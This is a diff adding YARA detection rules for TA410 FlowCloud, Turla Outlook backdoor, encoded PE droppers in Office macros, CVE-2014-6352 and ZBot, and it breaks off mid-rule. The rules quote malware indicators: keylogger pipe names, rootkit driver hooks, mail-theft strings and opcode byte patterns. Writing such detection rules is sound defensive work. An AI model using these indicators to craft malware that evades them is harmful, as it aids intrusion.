+    0x230 301439            xor byte ptr [ecx + edi], dl
+    0x233 001439            add byte ptr [ecx + edi], dl
+    0x236 41                inc ecx
+    0x237 3B4D0C            cmp ecx, dword ptr [ebp + 0xc]
+    0x23a 72F4              jb 0x230
+     */
+    strings:
+        $chunk_1 = {
+            33 D2
+            8B 45 ??
+            BB 6B 04 00 00
+            F7 F3
+            81 C2 A8 01 00 00
+            81 E2 FF 00 00 00
+            8B 7D ??
+            33 C9
+            EB ??
+            30 14 39
+            00 14 39
+            41
+            3B 4D ??
+            72 ??
+        }
+
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_FlowCloud_fcClient_strings
+{
+    meta:
+        description = "Strings found in fcClient/rescure.dat module."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = "df257bdd-847c-490e-9ef9-1d7dc883d3c0"
+        $s2 = "\\{2AFF264E-B722-4359-8E0F-947B85594A9A}"
+        $s3 = "Global\\{26C96B51-2B5D-4D7B-BED1-3DCA4848EDD1}" wide
+        $s4 = "{804423C2-F490-4ac3-BFA5-13DEDE63A71A}" wide
+        $s5 = "{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027}" wide
+        $s6 = "XXXModule_func.dll"
+        $driver1 = "\\drivers\\hidmouse.sys" wide fullword
+        $driver2 = "\\drivers\\hidusb.sys" wide fullword
+
+    condition:
+        uint16(0) == 0x5a4d and (any of ($s*) or all of ($driver*))
+}
+
+rule apt_Windows_TA410_FlowCloud_fcClientDll_strings
+{
+    meta:
+        description = "Strings found in fcClientDll/responsor.dat module."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = "http://%s/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1"
+        $s2 = "Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US"
+        $fc_msg = ".fc_net.msg"
+        $s4 = "\\pipe\\namedpipe_keymousespy_english" wide
+        $s5 = "8932910381748^&*^$58876$%^ghjfgsa413901280dfjslajflsdka&*(^7867=89^&*F(^&*5678f5ds765f76%&*%&*5"
+        $s6 = "cls_{CACB140B-0B82-4340-9B05-7983017BA3A4}" wide
+        $s7 = "HTTP/1.1 200 OK\x0d\nServer: Apache-Coyote/1.1\x0d\nPragma: No-cache\x0d\nCache-Control: no-cache\x0d\nExpires: Thu, 01 Jan 1970 08:00:00 CST\x0d\nLast-Modified: Fri, 27 Apr 2012 08:11:04 GMT\x0d\nContent-Type: application/xml\x0d\nContent-Length: %d\x0d\nDate: %s GMT"
+        $sql1 = "create table if not exists table_filed_space"
+        $sql2 = "create table if not exists clipboard"
+        $sql3 = "create trigger if not exists file_after_delete after delete on file"
+        $sql4 = "create trigger if not exists file_data_after_insert after insert on file_data"
+        $sql5 = "create trigger if not exists file_data_after_delete after delete on file_data"
+        $sql6 = "create trigger if not exists file_data_after_update after update on file_data"
+        $sql7 = "insert into file_data(file_id, ofs, data, status)"
+
+    condition:
+        uint16(0) == 0x5a4d and (any of ($s*) or #fc_msg >= 8 or 4 of ($sql*))
+}
+
+rule apt_Windows_TA410_Rootkit_strings
+{
+    meta:
+        description = "Strings found in TA410's Rootkit"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $driver1 = "\\Driver\\kbdclass" wide
+        $driver2 = "\\Driver\\mouclass" wide
+        $device1 = "\\Device\\KeyboardClass0" wide
+        $device2 = "\\Device\\PointerClass0" wide
+        $driver3 = "\\Driver\\tcpip" wide
+        $device3 = "\\Device\\tcp" wide
+        $driver4 = "\\Driver\\nsiproxy" wide
+        $device4 = "\\Device\\Nsi" wide
+        $reg1 = "\\Registry\\Machine\\SYSTEM\\Setup\\AllowStart\\ceipCommon" wide
+        $reg2 = "RHH%d" wide
+        $reg3 = "RHP%d" wide
+        $s1 = "\\SystemRoot\\System32\\drivers\\hidmouse.sys" wide
+
+    condition:
+        uint16(0) == 0x5a4d and all of ($s1,$reg*) and (all of ($driver*) or all of ($device*))
+}
+
+rule apt_Windows_TA410_FlowCloud_v5_resources
+{
+    meta:
+        description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 5.0.2"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    condition:
+        uint16(0) == 0x5a4d and pe.number_of_resources >= 13 and
+        for 12 resource in pe.resources:
+        ( resource.type == 10 and resource.language == 1033 and
+            //resource name is one of 100, 1000, 10000, 1001, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 2000, 2001 as widestring
+            (resource.name_string == "1\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x000\x00" or
+             resource.name_string == "1\x000\x000\x001\x00" or resource.name_string == "1\x000\x001\x00" or resource.name_string == "1\x000\x002\x00" or
+             resource.name_string == "1\x000\x003\x00" or resource.name_string == "1\x000\x004\x00" or resource.name_string == "1\x000\x005\x00" or
+             resource.name_string == "1\x000\x006\x00" or resource.name_string == "1\x000\x007\x00" or resource.name_string == "1\x000\x008\x00" or
+             resource.name_string == "1\x000\x009\x00" or resource.name_string == "1\x001\x000\x00" or resource.name_string == "2\x000\x000\x000\x00" or resource.name_string == "2\x000\x000\x001\x00")
+        )
+}
+
+rule apt_Windows_TA410_FlowCloud_v4_resources
+{
+    meta:
+        description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 4.1.3"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    condition:
+        uint16(0) == 0x5a4d and pe.number_of_resources >= 6 and
+        for 5 resource in pe.resources:
+        ( resource.type == 10 and resource.language == 1033 and
+            // resource name is one of 10000, 10001, 10002, 10003, 10004, 10005, 10100 as wide string
+            (resource.name_string == "1\x000\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x001\x00" or
+             resource.name_string == "1\x000\x000\x000\x002\x00" or resource.name_string == "1\x000\x000\x000\x003\x00" or
+             resource.name_string == "1\x000\x000\x000\x004\x00" or resource.name_string == "1\x000\x000\x000\x005\x00" or resource.name_string == "1\x000\x001\x000\x000\x00")
+        )
+}
diff --git a/yara-mikesxrs/eset/turla-outlook.yar b/yara-mikesxrs/eset/turla-outlook.yar
new file mode 100644
index 0000000..ded9d7c
--- /dev/null
+++ b/yara-mikesxrs/eset/turla-outlook.yar
@@ -0,0 +1,169 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2018, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+private rule not_ms {
+    condition:
+        not for any i in (0..pe.number_of_signatures - 1):
+        (
+            pe.signatures[i].issuer contains "Microsoft Corporation"
+        )
+}
+
+rule turla_outlook_gen {
+    meta:
+        author      = "ESET Research"
+        date        = "05-09-2018"
+        description = "Turla Outlook malware"
+        version     = 2
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"    
+    strings:
+        $s1 = "Outlook Express" ascii wide
+        $s2 = "Outlook watchdog" ascii wide
+        $s3 = "Software\\RIT\\The Bat!" ascii wide
+        $s4 = "Mail Event Window" ascii wide
+        $s5 = "Software\\Mozilla\\Mozilla Thunderbird\\Profiles" ascii wide
+        $s6 = "%%PDF-1.4\n%%%c%c\n" ascii wide
+        $s7 = "%Y-%m-%dT%H:%M:%S+0000" ascii wide
+        $s8 = "rctrl_renwnd32" ascii wide
+        $s9 = "NetUIHWND" ascii wide
+        $s10 = "homePostalAddress" ascii wide
+        $s11 = "/EXPORT;OVERRIDE;START=-%d;END=-%d;FOLDER=%s;OUT=" ascii wide
+        $s12 = "Re:|FWD:|AW:|FYI:|NT|QUE:" ascii wide
+        $s13 = "IPM.Note" ascii wide
+        $s14 = "MAPILogonEx" ascii wide
+        $s15 = "pipe\\The Bat! %d CmdLine" ascii wide
+        $s16 = "PowerShellRunner.dll" ascii wide
+        $s17 = "cmd container" ascii wide
+        $s18 = "mapid.tlb" ascii wide nocase
+        $s19 = "Content-Type: F)*+" ascii wide fullword
+    condition:
+        not_ms and 5 of them
+}
+
+rule turla_outlook_filenames {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "Turla Outlook filenames"
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"   
+    strings:
+        $s1 = "mapid.tlb"
+        $s2 = "msmime.dll"
+        $s3 = "scawrdot.db"
+    condition:
+        any of them
+}
+
+rule turla_outlook_log {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "First bytes of the encrypted Turla Outlook logs"
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"   
+    strings:
+        //Log begin: [...] TVer
+        $s1 = {01 87 C9 75 C8 69 98 AC E0 C9 7B [21] EB BB 60 BB 5A}
+    condition:
+        $s1 at 0
+}
+
+rule turla_outlook_exports {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "Export names of Turla Outlook Malware"
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"  
+    condition:
+        (pe.exports("install") or pe.exports("Install")) and
+        pe.exports("TBP_Initialize") and
+        pe.exports("TBP_Finalize") and
+        pe.exports("TBP_GetName") and
+        pe.exports("DllRegisterServer") and
+        pe.exports("DllGetClassObject")
+}
+
+rule turla_outlook_pdf {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "Detect PDF documents generated by Turla Outlook malware"
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"  
+    strings:
+        $s1 = "Adobe PDF Library 9.0" ascii wide nocase
+        $s2 = "Acrobat PDFMaker 9.0"  ascii wide nocase
+        $s3 = {FF D8 FF E0 00 10 4A 46 49 46}
+        $s4 = {00 3F 00 FD FC A2 8A 28 03 FF D9}
+        $s5 = "W5M0MpCehiHzreSzNTczkc9d" ascii wide nocase
+        $s6 = "PDF-1.4" ascii wide nocase
+    condition:
+        5 of them
+}
+
+rule outlook_misty1 {
+    meta:
+        author      = "ESET Research"
+        date        = "22-08-2018"
+        description = "Detects the Turla MISTY1 implementation"             
+        reference   = "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        contact = "github@eset.com"
+        license = "BSD 2-Clause"  
+    strings:
+        //and     edi, 1FFh
+        $o1 = {81 E7 FF 01 00 00}
+        //shl     ecx, 9
+        $s1 = {C1 E1 09}
+        //xor     ax, si
+        $s2 = {66 33 C6}
+        //shr     eax, 7
+        $s3 = {C1 E8 07}
+        $o2 = {8B 11 8D 04 1F 50 03 D3 8D 4D C4}
+    condition:
+        $o2 and for all i in (1..#o1):
+            (for all of ($s*) : ($ in (@o1[i] -500 ..@o1[i] + 500)))
+}
diff --git a/yara-mikesxrs/evild3ad/contains_ah_encoded_pe_file.yara b/yara-mikesxrs/evild3ad/contains_ah_encoded_pe_file.yara
new file mode 100644
index 0000000..20a8b8b
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/contains_ah_encoded_pe_file.yara
@@ -0,0 +1,20 @@
+import "pe"
+
+rule Contains_ah_encoded_PE_file
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect an &H encoded executable"
+		method = "&Hxx is the hexadecimal notation for a byte in VBA"
+		reference = "https://blog.didierstevens.com/2014/12/23/oledump-extracting-embedded-exe-from-doc/"
+		hash = "6a574342b3e4e44ae624f7606bd60efa"
+		date = "2016-04-23"
+
+	strings:
+		$MZ = "&H4d&H5a" nocase // DOS header signature in e_magic
+		$DOS = "&H21&H54&H68&H69&H73&H20&H70&H72&H6f&H67&H72&H61&H6d&H20&H63&H61&H6e&H6e&H6f&H74&H20&H62&H65&H20&H72&H75&H6e&H20&H69&H6e&H20&H44&H4f&H53&H20&H6d&H6f&H64&H65&H2e" nocase // !This program cannot be run in DOS mode. (DOS stub)
+		$PE = "&H50&H45&H00&H00" nocase // PE signature at start of PE header (NtHeader)
+
+	condition:
+		$MZ and $DOS and $PE
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/evild3ad/contains_ascii_hex_encoded_pe_file.yara b/yara-mikesxrs/evild3ad/contains_ascii_hex_encoded_pe_file.yara
new file mode 100644
index 0000000..f35c235
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/contains_ascii_hex_encoded_pe_file.yara
@@ -0,0 +1,20 @@
+import "pe"
+
+rule Contains_ASCII_Hex_encoded_PE_file
+{
+    meta:
+        author = "Martin Willing (https://evild3ad.com)"
+        description = "Detect an ASCII Hex encoded executable"
+		reference = "https://blogs.mcafee.com/mcafee-labs/w97m-downloader-serving-vawtrak/"
+		hash = "e56a57acf528b8cd340ae039519d5150"
+		date = "2016-03-28"
+		
+    strings:
+		$MZ = "4D5A" nocase // DOS header signature in e_magic
+		$DOS = "21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6f64652E" nocase // !This program cannot be run in DOS mode. (DOS stub)
+		$PE = "50450000" nocase // PE signature at start of PE header (NtHeader)
+		
+    condition:
+		$MZ and $DOS and $PE
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/evild3ad/contains_hidden_pe_file_inside_a_sequence_of_numbers.yara b/yara-mikesxrs/evild3ad/contains_hidden_pe_file_inside_a_sequence_of_numbers.yara
new file mode 100644
index 0000000..711f608
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/contains_hidden_pe_file_inside_a_sequence_of_numbers.yara
@@ -0,0 +1,18 @@
+rule Contains_hidden_PE_File_inside_a_sequence_of_numbers
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect a hidden PE file inside a sequence of numbers (comma separated)"
+		reference = "http://blog.didierstevens.com/2016/01/07/blackenergy-xls-dropper/"
+		reference = "http://www.welivesecurity.com/2016/01/04/blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/"
+		date = "2016-01-09"
+		filetype = "decompressed VBA macro code"
+		
+	strings:
+		$a = "= Array(" // Array of bytes
+		$b = "77, 90," // MZ
+		$c = "33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46," // !This program cannot be run in DOS mode.
+	
+	condition:
+	 	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/evild3ad/contains_userform_object_1.yara b/yara-mikesxrs/evild3ad/contains_userform_object_1.yara
new file mode 100644
index 0000000..cdf1bed
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/contains_userform_object_1.yara
@@ -0,0 +1,20 @@
+rule Contains_UserForm_Object_1
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect UserForm object in MS Office document. Attackers use UserForm objects to obfuscate their scripts and malicious code."
+		alert = "May used to store a URL as a property of a userform"
+		reference = "https://isc.sans.edu/forums/diary/Tip+Quick+Analysis+of+Office+Maldoc/20751/"
+		reference = "http://blog.didierstevens.com/2016/03/11/update-oledump-py-version-0-0-23/"
+		hash = "4e0c55054c4f7c32aece5cfbbea02846"
+		date = "2016-03-11"
+		filetype = "Office documents"
+		
+	strings:
+		
+		$a = "Microsoft Forms 2.0" // Forms
+		$b = "http"
+	
+	condition:
+	 	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/evild3ad/contains_userform_object_2.yara b/yara-mikesxrs/evild3ad/contains_userform_object_2.yara
new file mode 100644
index 0000000..042265f
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/contains_userform_object_2.yara
@@ -0,0 +1,19 @@
+rule Contains_UserForm_Object_2
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect UserForm object in MS Office document. Attackers use UserForm objects to obfuscate their scripts and malicious code."
+		alert = "May used to store malicious code in a UserForm object embedded in a form object"
+		reference = "https://msdn.microsoft.com/en-us/library/office/gg264663.aspx"
+		hash = "3c013125ffe34b81e39f92b59ca26b6c"
+		date = "2016-03-11"
+		filetype = "Office documents"
+		
+	strings:
+		
+		$a = "Microsoft Forms 2.0" // Forms
+		$b = "UserForm1" // UserForm
+	
+	condition:
+	 	all of them
+}
diff --git a/yara-mikesxrs/evild3ad/contains_userform_object_3.yara b/yara-mikesxrs/evild3ad/contains_userform_object_3.yara
new file mode 100644
index 0000000..e0d21d2
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/contains_userform_object_3.yara
@@ -0,0 +1,20 @@
+rule Contains_UserForm_Object_3
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect UserForm object in MS Office document. Attackers use UserForm objects to obfuscate their scripts and malicious code."
+		alert = "May used to store malicious code in a TextBox1 object embedded in a form object"
+		reference = "https://blogs.mcafee.com/mcafee-labs/macro-malware-associated-dridex-finds-new-ways-hide/"
+		hash = "13d4e6f0f7dc15ba17df91954de0b01d"
+		date = "2016-03-11"
+		filetype = "Office documents"
+		
+	strings:
+		
+		$a = "Microsoft Forms 2.0" // Forms
+		$b = "UserForm1" // UserForm
+		$c = "TextBox1" // Control
+	
+	condition:
+	 	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/evild3ad/contains_vba_macro_code.yara b/yara-mikesxrs/evild3ad/contains_vba_macro_code.yara
new file mode 100644
index 0000000..ef7d066
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/contains_vba_macro_code.yara
@@ -0,0 +1,22 @@
+rule Contains_VBA_macro_code
+{
+	meta:
+		author = "evild3ad"
+		description = "Detect a MS Office document with embedded VBA macro code"
+		date = "2016-01-09"
+		filetype = "Office documents"
+
+	strings:
+		$officemagic = { D0 CF 11 E0 A1 B1 1A E1 }
+		$zipmagic = "PK"
+
+		$97str1 = "_VBA_PROJECT_CUR" wide
+		$97str2 = "VBAProject"
+		$97str3 = { 41 74 74 72 69 62 75 74 00 65 20 56 42 5F } // Attribute VB_
+
+		$xmlstr1 = "vbaProject.bin"
+		$xmlstr2 = "vbaData.xml"
+
+	condition:
+		($officemagic at 0 and any of ($97str*)) or ($zipmagic at 0 and any of ($xmlstr*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/evild3ad/evild3ad_index.yara b/yara-mikesxrs/evild3ad/evild3ad_index.yara
new file mode 100644
index 0000000..f1e61fc
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/evild3ad_index.yara
@@ -0,0 +1,160 @@
+import "pe"
+
+rule Contains_ah_encoded_PE_file
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect an &H encoded executable"
+		method = "&Hxx is the hexadecimal notation for a byte in VBA"
+		reference = "https://blog.didierstevens.com/2014/12/23/oledump-extracting-embedded-exe-from-doc/"
+		hash = "6a574342b3e4e44ae624f7606bd60efa"
+		date = "2016-04-23"
+
+	strings:
+		$MZ = "&H4d&H5a" nocase // DOS header signature in e_magic
+		$DOS = "&H21&H54&H68&H69&H73&H20&H70&H72&H6f&H67&H72&H61&H6d&H20&H63&H61&H6e&H6e&H6f&H74&H20&H62&H65&H20&H72&H75&H6e&H20&H69&H6e&H20&H44&H4f&H53&H20&H6d&H6f&H64&H65&H2e" nocase // !This program cannot be run in DOS mode. (DOS stub)
+		$PE = "&H50&H45&H00&H00" nocase // PE signature at start of PE header (NtHeader)
+
+	condition:
+		$MZ and $DOS and $PE
+}
+
+rule Contains_ASCII_Hex_encoded_PE_file
+{
+    meta:
+        author = "Martin Willing (https://evild3ad.com)"
+        description = "Detect an ASCII Hex encoded executable"
+		reference = "https://blogs.mcafee.com/mcafee-labs/w97m-downloader-serving-vawtrak/"
+		hash = "e56a57acf528b8cd340ae039519d5150"
+		date = "2016-03-28"
+		
+    strings:
+		$MZ = "4D5A" nocase // DOS header signature in e_magic
+		$DOS = "21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6f64652E" nocase // !This program cannot be run in DOS mode. (DOS stub)
+		$PE = "50450000" nocase // PE signature at start of PE header (NtHeader)
+		
+    condition:
+		$MZ and $DOS and $PE
+
+}
+
+rule Contains_hidden_PE_File_inside_a_sequence_of_numbers
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect a hidden PE file inside a sequence of numbers (comma separated)"
+		reference = "http://blog.didierstevens.com/2016/01/07/blackenergy-xls-dropper/"
+		reference = "http://www.welivesecurity.com/2016/01/04/blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/"
+		date = "2016-01-09"
+		filetype = "decompressed VBA macro code"
+		
+	strings:
+		$a = "= Array(" // Array of bytes
+		$b = "77, 90," // MZ
+		$c = "33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46," // !This program cannot be run in DOS mode.
+	
+	condition:
+	 	all of them
+}
+
+rule Contains_UserForm_Object_1
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect UserForm object in MS Office document. Attackers use UserForm objects to obfuscate their scripts and malicious code."
+		alert = "May used to store a URL as a property of a userform"
+		reference = "https://isc.sans.edu/forums/diary/Tip+Quick+Analysis+of+Office+Maldoc/20751/"
+		reference = "http://blog.didierstevens.com/2016/03/11/update-oledump-py-version-0-0-23/"
+		hash = "4e0c55054c4f7c32aece5cfbbea02846"
+		date = "2016-03-11"
+		filetype = "Office documents"
+		
+	strings:
+		
+		$a = "Microsoft Forms 2.0" // Forms
+		$b = "http"
+	
+	condition:
+	 	all of them
+}
+
+rule Contains_UserForm_Object_2
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect UserForm object in MS Office document. Attackers use UserForm objects to obfuscate their scripts and malicious code."
+		alert = "May used to store malicious code in a UserForm object embedded in a form object"
+		reference = "https://msdn.microsoft.com/en-us/library/office/gg264663.aspx"
+		hash = "3c013125ffe34b81e39f92b59ca26b6c"
+		date = "2016-03-11"
+		filetype = "Office documents"
+		
+	strings:
+		
+		$a = "Microsoft Forms 2.0" // Forms
+		$b = "UserForm1" // UserForm
+	
+	condition:
+	 	all of them
+}
+
+rule Contains_UserForm_Object_3
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect UserForm object in MS Office document. Attackers use UserForm objects to obfuscate their scripts and malicious code."
+		alert = "May used to store malicious code in a TextBox1 object embedded in a form object"
+		reference = "https://blogs.mcafee.com/mcafee-labs/macro-malware-associated-dridex-finds-new-ways-hide/"
+		hash = "13d4e6f0f7dc15ba17df91954de0b01d"
+		date = "2016-03-11"
+		filetype = "Office documents"
+		
+	strings:
+		
+		$a = "Microsoft Forms 2.0" // Forms
+		$b = "UserForm1" // UserForm
+		$c = "TextBox1" // Control
+	
+	condition:
+	 	all of them
+}
+rule Contains_VBA_macro_code
+{
+	meta:
+		author = "evild3ad"
+		description = "Detect a MS Office document with embedded VBA macro code"
+		date = "2016-01-09"
+		filetype = "Office documents"
+
+	strings:
+		$officemagic = { D0 CF 11 E0 A1 B1 1A E1 }
+		$zipmagic = "PK"
+
+		$97str1 = "_VBA_PROJECT_CUR" wide
+		$97str2 = "VBAProject"
+		$97str3 = { 41 74 74 72 69 62 75 74 00 65 20 56 42 5F } // Attribute VB_
+
+		$xmlstr1 = "vbaProject.bin"
+		$xmlstr2 = "vbaData.xml"
+
+	condition:
+		($officemagic at 0 and any of ($97str*)) or ($zipmagic at 0 and any of ($xmlstr*))
+}
+rule MIME_MSO_ActiveMime_base64
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect MIME MSO Base64 encoded ActiveMime file"
+		date = "2016-02-28"
+		filetype = "Office documents"
+		
+	strings:
+		$mime = "MIME-Version:"
+		$base64 = "Content-Transfer-Encoding: base64"
+		$mso = "Content-Type: application/x-mso"
+		//$activemime = /Q(\x0D\x0A|)W(\x0D\x0A|)N(\x0D\x0A|)0(\x0D\x0A|)a(\x0D\x0A|)X(\x0D\x0A|)Z(\x0D\x0A|)l(\x0D\x0A|)T(\x0D\x0A|)W/
+	
+	condition:
+		$mime at 0 and $base64 and $mso //and $activemime
+}
+
diff --git a/yara-mikesxrs/evild3ad/mime_mso_activemime_base64.yara b/yara-mikesxrs/evild3ad/mime_mso_activemime_base64.yara
new file mode 100644
index 0000000..b06b3d8
--- /dev/null
+++ b/yara-mikesxrs/evild3ad/mime_mso_activemime_base64.yara
@@ -0,0 +1,17 @@
+rule MIME_MSO_ActiveMime_base64
+{
+	meta:
+		author = "Martin Willing (https://evild3ad.com)"
+		description = "Detect MIME MSO Base64 encoded ActiveMime file"
+		date = "2016-02-28"
+		filetype = "Office documents"
+		
+	strings:
+		$mime = "MIME-Version:"
+		$base64 = "Content-Transfer-Encoding: base64"
+		$mso = "Content-Type: application/x-mso"
+		//$activemime = /Q(\x0D\x0A|)W(\x0D\x0A|)N(\x0D\x0A|)0(\x0D\x0A|)a(\x0D\x0A|)X(\x0D\x0A|)Z(\x0D\x0A|)l(\x0D\x0A|)T(\x0D\x0A|)W/
+	
+	condition:
+		$mime at 0 and $base64 and $mso //and $activemime
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/forcepoint/CVE_2014_6352.yar b/yara-mikesxrs/forcepoint/CVE_2014_6352.yar
new file mode 100644
index 0000000..4c331d9
--- /dev/null
+++ b/yara-mikesxrs/forcepoint/CVE_2014_6352.yar
@@ -0,0 +1,19 @@
+rule cve_2014_6352
+
+{
+meta:
+  author = "Forcepoint"
+  reference = "https://blogs.forcepoint.com/security-labs/ebola-spreads-cyber-attacks-too"
+strings:
+
+        $rootentry = {52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 00 05 00 ff ff ff ff ff ff ff ff 01 00 00 00}
+
+        $ole10native = {4F 00 ( 4C | 6C ) 00 ( 45 | 65 ) 00 31 00 30 00 4E 00 61 00 74 00 69 00 76 00 65 00 00}
+
+        $c = "This program cannot be run in DOS mode"
+
+condition:
+
+     ($rootentry or $ole10native) and $c
+
+}
diff --git a/yara-mikesxrs/forcepoint/Zbot.yar b/yara-mikesxrs/forcepoint/Zbot.yar
new file mode 100644
index 0000000..bf82393
--- /dev/null
+++ b/yara-mikesxrs/forcepoint/Zbot.yar
@@ -0,0 +1,19 @@
+rule crime_win_zbot_memory_dev_ws
+{
+    meta:
+        description = "ZBot & variants - configuration _unpack routine detection"
+        author = "Nick Griffin (Websense)"
